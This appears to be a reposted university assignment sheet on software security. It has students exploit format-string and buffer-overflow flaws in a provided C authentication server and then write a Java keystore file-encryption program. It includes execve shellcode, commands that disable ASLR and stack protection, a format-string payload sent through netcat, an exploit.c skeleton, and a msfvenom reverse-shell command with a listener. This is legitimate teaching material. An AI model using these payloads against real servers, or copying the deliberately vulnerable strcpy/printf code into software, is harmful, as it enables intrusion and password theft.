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JAVA和C代寫-FIT 5003
時間:2021-08-26
August 19, 2021
FIT 5003 Software Security Assignment I (S2 2021)
Total Marks 100
Due on Week 7 September 09, 2021, Friday, 11:59:00pm
1 Overview
The learning objective of this assignment is for you to gain a first-hand experience on various vulnerabilities
and attack in c programming language and get a deeper understanding on how to use cryptographic algo-
rithms correctly in practice. All tasks in this assignment can be done on “SeedVM” as used in labs. Please
refer to Section 2 for submission notes.
2 Submission
You need to submit a lab report (one single PDF file) to describe what you have done and what you have
observed with screen shots whenever necessary; you also need to provide explanation or codes to the
observations that are interesting or surprising. In your report, you need to answer all the questions listed in
this manual. Please answer each question using at most 100 words. Typeset your report into .pdf format
(make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]-
FIT5003-Assignment1, e.g., HarryPotter-12345678-FIT5003-Assignment1.pdf.
All source code if required should be submitted according to the submission instruction provided on
Moodle. In addition, if a demonstration video is required, you should record your screen demonstration
with your voice explanation and upload the video to your Monash Google Drive. Your face should be
visible at least at the beginning of the video interview. If you do not wish to have your face visible in the
video, contact the teaching team at least a week before the deadline so as to arrange a physical interview.
The shared URL of the video should be mentioned in your report wherever required. You can use this free
tool to make the video:http://monash-panopto.aarnet.edu.au/ ; other tools are also fine. Then, please upload
the PDF file to Moodle. Note: the assignment is due on September 09, 2021, Friday, 11:59:00 pm
Late submission penalty: 10 points deduction per day. If you require a special consideration, the
application should be submitted and notified at least three days in advance. Special Considerations
are handled by and approved by the faculty and not by the teaching team (unless the special consideration
is for a small time period extension of one or two days). Zero tolerance on plagiarism: If you are found
cheating, penalties will be applied, i.e., a zero grade for the unit. University polices can be found at https:
//www.monash.edu/students/academic/policies/academic-integrity
1
3 C Code Vulnerabilities [80 Marks]
The learning objective of this part is for you to gain the first-hand experience on buffer-overflow vulnerability
by putting what you have learned about the vulnerability from class into action. Buffer overflow is defined
as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed
length buffers. This vulnerability can be utilized by an attacker to alter the flow control of the program, even
execute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixing
of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the
data part can affect the control flow of the program, because an overflow can change the return address.
In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop a
scheme to exploit the vulnerability and finally send a remote access to an attacker.
3.1 Initial setup
You can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux dis-
tributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To
simplify our attacks, we need to disable them first.
Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran-
domization to randomize the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disable
these features using the following commands:
$ su root
Password: (enter root password "seedubuntu")
# sysctl -w kernel.randomize_va_space=0
# exit
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called “Stack
Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You
can disable this protection if you compile the program using the -fno-stack-protector switch. For example,
to compile a program example.c with Stack Guard disabled, you may use the following command:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
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3.2 Task 1: Shellcode Practice
Before you start the attack, we want you to exercise with a shellcode example. A shellcode is the code to
launch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it can
be executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into the
memory so that we can force the vulnerable program to jump to it. Consider the following program:
#include
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is the assembly version of the above program. The following program shows
you how to launch a shell by executing a shellcode stored in a buffer.
Please compile and run the following code, and see whether a shell is invoked. Please briefly describe
your observations. [Marking scheme: 2 marks for the screenshot and 3 marks for the explanation]
Question 1
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include
#include
#include
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
3
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
Please use the following command to compile the code (don’t forget the execstack option):
$ gcc -z execstack -g -o call_shellcode call_shellcode.c
3.3 The Vulnerable Program
In this Section we introduce the vulnerable program (called stack.c). You can find the source code in
the Unit’s Moodle. The program acts as an authentication server that provides an authorized user a unique
security token. For authentication a user-client provides as a payloads in the buf variable a username and a
password and the vulnerable program checks if these credentials are stored in a password file. If the user has
provided the correct password then a unique security token is send to this user. The password file is called
fit5003passwords) and is stored in the same folder as the server program. For the assignment, we
assume that the communication is secured by some other means so that the username and password cannot
be eavesdropped and that the attacker cannot directly access the password file. The program has several
vulnerabilities. For this assignment, we focus on the vulnerabilities in the check_auth function that is
shown below.
int check_auth(int sock,Line users[], char* auth_decoded) {
// auth_decoded is of the form ":", separate them
char *auth_username;
char *auth_pass_p=NULL;
char auth_password[36];
auth_pass_p=auth_password;
auth_username = strtok(auth_decoded, ":");
strcpy(auth_pass_p,strtok(NULL, "\n"));
printf("test test\n");
// find auth_username in users (each line is :)
char* password_md5 = NULL;
int ul = strlen(auth_username);
for (int i = 0; strcmp(users[i], "") != 0; i++) {
if (strncmp(users[i], auth_username, ul) == 0 && users[i][ul] == ’:’) {
password_md5 = users[i] + ul + 1; // part, after the ’:’
break;
}
}
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
4
// check if user is found
if (password_md5 == NULL) {
printf("User Unauthorized\r\n");
printf("Invalid user: ");
printf(auth_username);
printf("\"\r\n\r\n");
return 0;
}
// check password’s md5
char auth_password_md5[33];
md5_hex(auth_password, auth_password_md5);
if (strcmp(password_md5, auth_password_md5) != 0) {
printf("User Unauthorized\r\n");
printf("Invalid password");
printf("\"\r\n\r\n");
return 0;
}
printf("USER AUTHENTICATED\n");
return 1; // both ok
}
After compiling the program you can connect a client to it using the netcat command (see the appendix
on how netcat work). To do that, you can open two different terminal windows in the Seed labs Linux VM.
In one of them you should execute the compiled vulnerable program and in the other terminal window you
can run the netcat command in order to emulate a client. The netcat instruction can be the following:
nc 127.0.0.1 6060 < badfile or
echo [some user input] | nc 127.0.0.1 6060
In the first case, you place the payload (potentially the malicious payload as an attacker) to be sent by
the client in a file (in the example we call it badfile). In the second case we provide directly as an input
to netcat the payload (in the example the payload goes in the [some user input] area). Note, that in
the second approach you can use perl scripts similar to the ones that we used in the buffer overflow lab of
week3.
Alternatively, you can use a simple python program to generate the malicious client payload, like the
one in the following example:
python3 -c ’import sys; sys.stdout.buffer.write(bytes.fromhex("AABBCC12")
+ b"%.8x"*24 );’ | nc 127.0.0.1 6060
If all goes well, when the server is running in the first terminal window and when the client’s netcat
is executed in the client’s terminal window with a legit username and password you will see the security
token in the client. If there is no output on the client, then something is wrong in the server side (eg. a
segmentation fault).
5
Compile successfully the vulnerable program and check it’s functionality by using the following user-
name and password.
username: tim
password: zz1618
You must compile the program so that it is vulnerable to buffer overflow and format string vulnerabil-
ities. [Marking scheme: 2.5 marks for each screenshot (successful compiling stack.c file and
execution result on the client)]
Info: Make sure that when you compile the program, you place at the end of the gcc execution
the flag -lcrypto
i
Question 2
3.4 Exploiting the Vulnerability
In this task you are asked to exploit the vulnerabilities of the server program in order to perform some attack
as a client.
3.4.1 Task 2
In the server program there are several vulnerabilities like the buffer overflow and format string vulnerability.
In this task your goal is to exploit the format string vulnerability in order to find out as a client what is the
password of the admin user. For simplicity you can assume that this user’s username is admin.
Identify the format string vulnerability in the code, describe how it can be exploited and perform the
attack to retrieve the admin password that is stored inside the fit5003passwords file. We assume
that we have a realistic scenario where the client (the attacker) doesn’t have access to the server at all.
This means in practice that you cannot directly access or use the fit5003passwords file and you
cannot use gdb to perform the attack. [marking guide: 2 marks for a screenshot of the retrieved
admin password shown in the client side, 3 marks for the interpretation of the format string
attack results and 5 marks for the description and execution of the attack].
Provide your video demonstration evidence to support and verify that you have performed
the attack and it worked successfully. You need to upload your demo video to your Monash Google
Drive and embed its shared link to your report so that the teaching team can view and verify your works.
The video should show a live demo of the attack, describe in detail how the attack works and its result
[5 marks]
Question 3
6
After successfully retrieving the admin password, describe how, using the same or a similar technique,
can the attacker retrieve line by line all the content of the fit5003passwords file. You should
employ again the format string vulnerability. You don’t need to actually perform this attack, you need
to describe how this attack can be done and provide the steps of the attack. Emphasis will be given
on how detailed and accurate is your attack description and explanation of the attack and its steps
[marking guide: 3 marks on how the attack can be mounted and how the attack works. 2 marks
for the explanation of the attack steps]
Question 4
3.4.2 Task 3
In this task, the attacker will try to achieve the same goal (fully retrieve the fit5003passwords file) by
performing an attack on the server using the buffer overflow vulnerability. To do that, the attacker aims to
fully compromise the server computer and gain from his client device a shell to the remote server (reverse
shell attack). Then using the reverse shell, the attacker can view the content of the fit5003passwords
file.
We provide you with a partially completed exploit code called exploit.c. The goal of this code is
to construct contents of a malicious payload that is stored in a file called badfile. In this code, you need
to inject a reverse shell into the variable shellcode, and then fill the variable buffer with appropriate
contents.
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]= /* add your reverse shellcode here*/;
void main(int argc, char **argv)
{
char buffer[517]; // the size of the buffer has just indicative value.
// A smaller size can be used
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
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}You need to read Appendix 5.1 to investigate how to create a reverse shellcode. To simulate the attacker
who is listening at a specific address/port and waiting for the shell, you can have a new linux terminal
window and use netcat to listen. We refer you to Appendix 5.2 for this simulation. After you finish the
above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable
program stack.c. If your exploit is implemented correctly, the attacker should be able to get the reverse
shell.
Info: Please compile your vulnerable program first. Please note that the program exploit.c, which
generates the badfile, can be compiled with the default Stack Guard protection enabled. This is because
we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c,
which is compiled with the Stack Guard protection disabled.
$ gcc -g -o exploit exploit.c
$./exploit // create the badfile
If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is
listening at the port 4444, and the program stack.c is running at the address 10.0.2.15 or any
other relevant IP address on your VM).
$[02/01/20]seed@VM:?$ nc -lvp 4444 // listening at the port 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [10.0.2.15] port 4444 [tcp/*] accepted
Once the attacker obtains the shell, the attacker can remotely manipulate all the current files where the
program stack2 runs.
i
Info: Note: For this task, you are allowed to use gdb on the server in order to perform correctly
the Buffer Overflow attack. Answering this task can be easier if the server is running in the gdb
environment. Also, if you wish to test if the shellcode works you can use the listing of task 1
i
8
Provide your video demonstration evidence to support and verify that you have performed the
attack and it worked successfully. You need to upload your demo video to your Monash Google Drive
and embed its shared link to your report so that the teaching team can view and verify your works. In
the video, you need to demonstrate following key points:
? Identify the buffer overflow vulnerable code in the source program and decsribe how it can be
exploited. Show that the buffer overflow attack happens and the attacker receives the shell when
the victim executes the vulnerable program stack. (7 marks if the attack works during your
demonstration video)
? Using the reverse shell that is established, the attacker views the fit5003passwords file
content (3 marks if the attack works during your demonstration video)
? Debug the program stack to investigate the return memory address and local variables in the
vulnerable function. (10 marks for the debug demonstration and memory analysis)
? Open the program exploit.c and explain clearly line by line how you structured the content
for “badfile”.(10 marks for your explanation during the demonstration video)
Question 5
Warning: In order to get full marks on the above question, all answers should be accompanied by
screenshots and descriptions of the attack in the report. Providing only video links in the report for this
question is not sufficient to get full marks.
!
Info: Hint: Please read the Guidelines of this part. Also you can use the GNU debugger gdb to
find the address of vulnerable buffer [bufferSize] and “Return Address”, see Guidelines and
Appendix. The full marks are only given if you have solid explanation with supporting memory address
analysis.
i
3.4.3 Task 4
Having access to the GDB debugger as an attacker is not a very realistic scenario in the experiments that we
are currently doing. In fact, the attacker (acting as a client) shouldn’t be able to have access to the server
program or the server’s linux OS (for the sake of simplicity in the previous tasks we relaxed this constrain).
In this task we assume that the attacker doesn’t have access to the server. This means that apart from
executing the server program you cannot perform any further actions on this program (for example you
cannot debug the server program with gdb).
Based on this constrain, you can exploit the format string vulnerability that the check_auth function
has, in order to get some insight about the server’s stack memory and then use that information to perform
the buffer overflow attack.
9
Perform an attack similar to the one in the previous task (using the reverse shell shellcode) but
without the use of GDB. Provide your video demonstration evidence to support and verify that
you have performed the attack and it worked successfully. You need to upload your demo video to
your Monash Google Drive and embed its shared link to your report so that the teaching team can view
and verify your works. In the video, you need to demonstrate following key points:
? Describe how you exploited the format string vulnerability and how you managed to retrieve
useful information for the next step of the attack. (10 marks for your explanation during the
demonstration video)
? Describe what each retrieved useful information means for the attack from the collected format
string exploit outputs.(5 marks for your explanation during the demonstration video)
? Show that the buffer overflow happens using the retrieved information and that the attacker re-
ceives the shell when the victim executes the vulnerable program stack. (5 marks if the attack
works during your demonstration video)
Question 6
Warning: In order to get full marks on the above question, all answers should be accompanied by
screenshots and descriptions of the attack in the report. Providing only video links in the report for this
question is not sufficient to get full marks.
!
3.5 Completion and file delivery
Warning: All codes in above files (shellcode.c, exploit.c, and badfile) need to be attached to your PDF
report to obtain full marks. Failure to provide any of the above four documents will result in a 50%
reduction on the mark of question relevant to the missing file.
!
4 Guidelines
We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not
be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we
have two problems: (1) we do not know where the return address is stored, and (2) we do not know where
the shellcode is stored. To answer these questions, we need to understand the stack layout the execution
enters a function. The following figure gives an example.
Finding the address of the memory that stores the return address. From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
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str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
buffer[0] … buffer[11]
variable_a
void func (char *str) {
char buffer[12];
int variable_a;
strcpy (buffer, str);
}
Int main() {
char *str = “I am greater than 12 bytes”;
func (str);
}
C
u
rr
e
n
t
F
ra
m
e
Current FP
(a) A code example (b) Active Stack Frame in func()
High Address
Low Address
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of of your copy, but you should be quite close.
If the target program is running remotely, and you may not be able to rely on the debugger to find out
the address. However, you can always guess. The following facts make guessing a quite feasible approach:
? Stack usually starts at the same address.
? Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.
? Therefore the range of addresses that we need to guess is actually quite small.
Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],
you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu-
rately calculate the address (for example, for remote programs), you can still guess. To improve the chance
of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump
to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.
buffer [0] …... buffer [11]
Previous FP
Return Address
str
Malicious Code
buffer [0] …... buffer [11]
Previous FP
Return Address
str
Malicious Code
NOP
NOP
NOP
…… (many NOP’s)
(a) Jump to the malicious code (b) Improve the chance
S
ta
c
k
’s
g
ro
w
in
g
d
ir
e
c
ti
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n
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Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4
bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually
occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different
types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,
and then assign the integer. The following code shows how to assign an long integer to a buffer starting at
buffer[i]:
char buffer[20];
long addr = 0xFFEEDD88;
long *ptr = (long *) (buffer + i);
*ptr = addr;
5 Providing Secure code in Java programs [20 Marks]
In this task we ask you to provide a small Java program that supports several security properties like confi-
dentiality, integrity and authentication. The program will allow an administrator to offer secure storage of a
file for a given user employing the Java keystore mechanism. More specifically:
Part 1 Administrator User Authentication:
1. The Admin user logins with a username and password in order to get access to the Java program. This
information is collected by the program
2. The program concatenates the username and the password into one word (eg. usernamepassword)
and uses the result as an input to a hash function (SHA 256) and generates the message digest.
3. the last 5 Bytes of the message digest are used as the password of an existing Java keystore (provided
in Moodle as a file)
4. If the Keystore can be opened then the Administrator user is authenticated.
Part 2 Secure storage Mechanism:
1. When the Keystore is open, the program prints out the available keystore entries and shows the fol-
lowing information for each entry: the key alias, the certificate type and the cipher that is used.
2. the Administrator user provides from the standard input an alias of some user’s certificate in order to
digitally sign the file
3. the Administrator user also provides from the standard input the file name to be secured.
4. the program generates a random secret key (AES 256 in CBC mode) and IV,
5. the AES key is stored in the provided keystore
6. the file is opened and is encrypted using the AES secret key
7. the program then encrypts the secret key and IV using public key encryption (RSA encryption). The
provided alias by the administrator is used in order to extract the public key of a user. This key is used
to encrypt the secret key and IV.
8. the two encrypted information (the encrypted secret key and the encrypted file) are concatenated.
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9. the administrator’s entry in the keystore is used in order to digitally signed the concatenated result
of the previous step. The Administrator’s private key stored in the administrator’s entry within the
keystore is used.
10. the file is stored.
Info: We provide you with a keystore called fit_5003_keystore.jks of type JKS. The keystore
has an entry for the administrator user called user1 and three entries for simple users (only their
certificates).
The provided keystore can be opened if the administrator user provides the username: user1
and the password: passwd and the process described in the authentication mechanism is followed
correctly. The password of the keystore and the password of the keystore entries are the same.
i
Using the above description design and implement the specified program in Java. Provide your
video demonstration evidence where you showcase the functionality of the program and how you
implemented it You need to upload your demo video to your Monash Google Drive and embed its
shared link to your report so that the teaching team can view and verify your works. In the video, you
need to demonstrate following key points:
? Showcase all the steps of the Administrator user Authentication Mechanism and all the steps
of the Secure Storage Mechanism (5 marks for your explanation during the demonstration
video)
? Show very briefly the code that corresponds to the steps of the two mechanisms.(5 marks for
your explanation of all the program’s steps during the demonstration video)
Question 7
Info: Marking Guide on the program implementation:
Part 1 Administrator User Authentication: 3 marks for steps 1 and 2. 2 marks for steps 3 and 4
Part 2 Secure storage Mechanism: 3 marks for steps 1 to 5. 2 marks for steps 6 to 10
i
Warning: The full mark for this task is the sum of the provided code marking (max 10 marks) and
the video interview (max 10 marks). However, If there is no video interview of the program, then the
maximum total mark is 5 points (50% reduction on the program code marking).
!
Acknowledgement
Some parts of the assignment use material from the SEED project (Developing Instructional Laboratories for
Computer SEcurity EDucation) at the website http://www.cis.syr.edu/?wedu/seed/index.
html.
13
6 Appendix
6.1 Reverse Shell Creation
A reverse shell (sometimes is known as a malicious shell) enables the connection from the target machine to
the attacker’s machine. In this situation, the attacker’s machine acts as a server. It opens a communication
on a port and waits for incoming connections. The target machine acts as a client connecting to that listener,
and then finally the attacker receives the shell. These attacks are dangerous because they give an attacker an
interactive shell on the target machine, allowing the attacker to manipulate file system/data.
In this assignment, there are two ways that can be followed in order to use a reverse shell. The first way
is to use popular shellcode databases on the internet in order to find an appropriate shellcode or use some
tool that can generate a shellcode for us.
Popular exploitation databases that provide shellcodes are the following:
http://shell-storm.org/shellcode/
http://www.exploit-db.com/shellcodes
Alternatively, to generate a shellcode, we can use msfvenom module in Metasploit. Metasploit is one
of the most powerful and widely used tools for exploring/testing the vulnerability of computer systems or
to break into remote systems. You first install Metasploit by openning a terminal and entering the following
command. Note that the command is one-line command without line breaks.
curl http://raw.githubusercontent.com/rapid7/metasploit-omnibus/
master/config/templates/metasploit-framework-wrappers/
msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
To see msfvenom help, you can use msfvenom -h . To generate a reverse shell, you can use the
following command. You should wait few seconds to obtain the reverse shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f c
where -p is a payload type (in this case it’s for 32-bit Linux reverse shell binary), LHOST is your SEED
machine’s IP address (assuming you’re the attacker), LPORT is the port where the attacker is listening, and
-f is a format (c in this case).
Warning: Some shellcodes may not work in your Seed VM and/or with the provided vulnerable pro-
gram. For example. this can happen if the shellcode has a byte with —00— value (the NULL value)
which is interpreted by the c programming language as the end character of a string and will stop the
execution of the shellcode. You may consider using the -b option offered by msfvenom program (if
you use that approach)
!
6.2 Netcat Listener
In this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installed
in SEEDVM. It’s a versatile tool that has been dubbed the Hackers’ Swiss Army Knife. It’s the most basic
feature is to read and write to TCP and UDP ports. Therfore, it enables Netcat can be run as a client or
a server. To see Netcat help, you can type nc -h in terminal. If you want to connect to a webserver
(10.2.2.2) on port 80, you can type
14
nc -nv 10.2.2.2 80
And if you want your computer to listen on port 80, you can type
nc -lvp 80
6.3 GNU Debugger
The GNU debugger gdb is a very powerful tool that is extremely useful all around computer science, and
MIGHT be useful for this task. A basic gdb workflow begins with loading the executable in the debugger:
gdb executable
You can then start running the problem with:
$ run [arguments-to-the-executable]
(Note, here we have changed gdb default prompt of (gdb) to $).
In order to stop the execution at a specific line, set a breakpoint before issuing the “run” command.
When execution halts at that line, you can then execute step-wise (commands next and step) or continue
(command continue) until the next breakpoint or the program terminates.
$ break line-number or function-name
$ run [arguments-to-the-executable]
$ step # branch into function calls
$ next # step over function calls
$ continue # execute until next breakpoint or program termination
Once execution stops, you will find it useful to look at the stack backtrace and the layout of the current
stack frame:
$ backtrace
$ info frame 0
$ info registers
You can navigate between stack frames using the up and down commands. To inspect memory at a
particular location, you can use the x/FMT command
$ x/16 $esp
$ x/32i 0xdeadbeef
$ x/64s &buf
where the FMT suffix after the slash indicates the output format. Other helpful commands are disassemble
and info symbol. You can get a short description of each command via
$ help command
In addition, Neo left a concise summary of all gdb commands at:
http://vividmachines.com/gdbrefcard.pdf
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You may find it very helpful to dump the memory image (core) of a program that crashes. The core
captures the process state at the time of the crash, providing a snapshot of the virtual address space, stack
frames, etc., at that time. You can activate core dumping with the shell command:
% ulimit -c unlimited
A crashing program then leaves a file core in the current directory, which you can then hand to the
debugger together with the executable:
gdb executable core
$ bt # same as backtrace
$ up # move up the call stack
$ i f 1 # same as "info frame 1"
$ ...
Lastly, here is how you step into a second program bar that is launched by a first program foo:
gdb -e foo -s bar # load executable foo and symbol table of bar
$ set follow-fork-mode child # enable debugging across programs
$ b bar:f # breakpoint at function f in program bar
$ r # run foo and break at f in bar
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